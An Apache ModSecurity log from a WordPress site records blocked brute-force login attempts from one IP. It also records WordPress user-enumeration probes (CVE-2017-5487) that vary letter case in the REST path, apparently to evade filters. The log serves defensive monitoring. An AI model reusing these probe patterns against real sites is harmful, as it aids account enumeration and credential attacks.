[Wed Nov 12 23:04:42.539533 2025] [:error] [pid 60180:tid 60186] [client 128.199.151.212:60924] [client 128.199.151.212] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/Wp/v2/users"] [unique_id "aRSiClhgd7ccS8EZg1p3VQAAAUQ"]
[Wed Nov 12 23:04:44.850507 2025] [:error] [pid 60096:tid 60131] [client 62.60.130.213:59314] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiDDmzkhCvvk8DXOzSAQAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:46.386653 2025] [:error] [pid 12744:tid 12752] [client 77.68.30.96:34368] [client 77.68.30.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/Wp/v2/users"] [unique_id "aRSiDp1cp_ouUvkFj0WZvgAAAQQ"]
[Wed Nov 12 23:04:51.087243 2025] [:error] [pid 60097:tid 60149] [client 62.60.130.213:62100] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSiE8dT5oio_TbWpi-tiwAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:52.326392 2025] [:error] [pid 60096:tid 60132] [client 217.154.101.210:45556] [client 217.154.101.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/Wp/v2/users"] [unique_id "aRSiFDmzkhCvvk8DXOzSBAAAAIY"]
[Wed Nov 12 23:04:52.823781 2025] [:error] [pid 60095:tid 60116] [client 62.60.130.213:49834] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiFHlw2elroagFF1pfjgAAAFE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:56.593507 2025] [:error] [pid 60095:tid 60113] [client 62.60.130.213:49834] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiGHlw2elroagFF1pfkwAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:58.338341 2025] [:error] [pid 12744:tid 12763] [client 62.60.130.213:64819] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiGp1cp_ouUvkFj0WZyAAAAQ8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:09.304263 2025] [:error] [pid 60095:tid 60114] [client 62.60.130.213:51559] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSiJXlw2elroagFF1pflgAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:10.979430 2025] [:error] [pid 60096:tid 60143] [client 62.60.130.213:50070] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiJjmzkhCvvk8DXOzSGgAAAI8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:14.044481 2025] [:error] [pid 60096:tid 60132] [client 62.60.130.213:50070] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiKjmzkhCvvk8DXOzSHwAAAIY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:15.633463 2025] [:error] [pid 60096:tid 60128] [client 62.60.130.213:50070] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiKzmzkhCvvk8DXOzSJAAAAII"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:18.081019 2025] [:error] [pid 60096:tid 60155] [client 62.60.130.213:57572] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiLjmzkhCvvk8DXOzSJQAAAJU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:19.675825 2025] [:error] [pid 12744:tid 12755] [client 62.60.130.213:59675] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSiL51cp_ouUvkFj0WZ3wAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:22.240864 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:51009] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiMnMGv_mlVi6mf5ozXQAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:22.240973 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:51009] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiMnMGv_mlVi6mf5ozXQAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:31.032409 2025] [:error] [pid 60097:tid 60147] [client 62.60.130.213:62162] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiO8dT5oio_TbWpi-togAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:32.620111 2025] [:error] [pid 60097:tid 60160] [client 62.60.130.213:62162] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiPMdT5oio_TbWpi-tpgAAAMc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:34.164772 2025] [:error] [pid 60405:tid 60427] [client 62.60.130.213:57930] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiPnMGv_mlVi6mf5ozZQAAABM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:36.848807 2025] [:error] [pid 12744:tid 12763] [client 62.60.130.213:62243] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSiQJ1cp_ouUvkFj0WZ8QAAAQ8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:39.934284 2025] [:error] [pid 12744:tid 12770] [client 62.60.130.213:61259] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiQ51cp_ouUvkFj0WZ9gAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:39.934329 2025] [:error] [pid 12744:tid 12770] [client 62.60.130.213:61259] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiQ51cp_ouUvkFj0WZ9gAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:43.993143 2025] [:error] [pid 12744:tid 12751] [client 62.60.130.213:59888] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSiR51cp_ouUvkFj0WZ-AAAAQM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:44.376846 2025] [:error] [pid 60097:tid 60165] [client 20.231.250.227:18896] [client 20.231.250.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/V2/users"] [unique_id "aRSiSMdT5oio_TbWpi-tqQAAAMw"]
[Wed Nov 12 23:05:46.808402 2025] [:error] [pid 60180:tid 60197] [client 62.60.130.213:59888] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiSlhgd7ccS8EZg1p3pAAAAU8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:48.476092 2025] [:error] [pid 60096:tid 60127] [client 62.60.130.213:50860] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiTDmzkhCvvk8DXOzSOQAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:51.030671 2025] [:error] [pid 60095:tid 60099] [client 62.60.130.213:63253] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSiT3lw2elroagFF1pfsQAAAEA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:54.974767 2025] [:error] [pid 60405:tid 60411] [client 62.60.130.213:63253] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiUnMGv_mlVi6mf5ozsAAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:55.587527 2025] [:error] [pid 60405:tid 60420] [client 62.60.130.213:63253] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSiU3MGv_mlVi6mf5ozwAAAAAw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:05:57.251597 2025] [:error] [pid 60405:tid 60429] [client 62.60.130.213:58668] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiVXMGv_mlVi6mf5ozyAAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:06:27.115677 2025] [:error] [pid 60097:tid 60168] [client 62.60.130.213:51814] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSic8dT5oio_TbWpi-txQAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:06:27.115758 2025] [:error] [pid 60097:tid 60168] [client 62.60.130.213:51814] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSic8dT5oio_TbWpi-txQAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:06:51.418430 2025] [:error] [pid 23737:tid 23764] [client 62.60.130.213:60770] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiixQUsVVfOZWgW_X02gAAAY8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:00.108515 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:60770] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSilBQUsVVfOZWgW_X05gAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:00.667818 2025] [:error] [pid 23737:tid 23751] [client 62.60.130.213:60770] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSilBQUsVVfOZWgW_X06AAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:05.050806 2025] [:error] [pid 60405:tid 60409] [client 62.60.130.213:62639] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSimXMGv_mlVi6mf5oz_wAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:10.086221 2025] [:error] [pid 23737:tid 23759] [client 62.60.130.213:50907] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSinhQUsVVfOZWgW_X08AAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:11.644625 2025] [:error] [pid 60405:tid 60417] [client 62.60.130.213:64830] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSin3MGv_mlVi6mf5o0BgAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:11.644712 2025] [:error] [pid 60405:tid 60417] [client 62.60.130.213:64830] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSin3MGv_mlVi6mf5o0BgAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:12.766492 2025] [:error] [pid 60180:tid 60206] [client 103.178.231.51:44952] [client 103.178.231.51] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aRSioFhgd7ccS8EZg1p35AAAAVg"]
[Wed Nov 12 23:07:18.009881 2025] [:error] [pid 12744:tid 12758] [client 62.60.130.213:64830] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSipp1cp_ouUvkFj0WaLwAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:18.009963 2025] [:error] [pid 12744:tid 12758] [client 62.60.130.213:64830] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSipp1cp_ouUvkFj0WaLwAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:22.181825 2025] [:error] [pid 60405:tid 60421] [client 62.60.130.213:57240] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiqnMGv_mlVi6mf5o0DwAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:22.181906 2025] [:error] [pid 60405:tid 60421] [client 62.60.130.213:57240] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiqnMGv_mlVi6mf5o0DwAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:32.454096 2025] [:error] [pid 60180:tid 60189] [client 62.60.130.213:59944] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSitFhgd7ccS8EZg1p39QAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:34.195103 2025] [:error] [pid 60180:tid 60200] [client 62.60.130.213:59944] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSitlhgd7ccS8EZg1p3-AAAAVI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:41.662185 2025] [:error] [pid 60180:tid 60204] [client 62.60.130.213:59944] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSivVhgd7ccS8EZg1p4AwAAAVY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:42.204230 2025] [:error] [pid 60180:tid 60190] [client 62.60.130.213:59944] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSivlhgd7ccS8EZg1p4BAAAAUg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:43.865546 2025] [:error] [pid 60180:tid 60188] [client 62.60.130.213:62660] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiv1hgd7ccS8EZg1p4BQAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:46.670756 2025] [:error] [pid 60180:tid 60182] [client 62.60.130.213:54029] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiwlhgd7ccS8EZg1p4BgAAAUA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:07:48.813263 2025] [:error] [pid 60405:tid 60413] [client 62.60.130.213:61951] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSixHMGv_mlVi6mf5o0PwAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
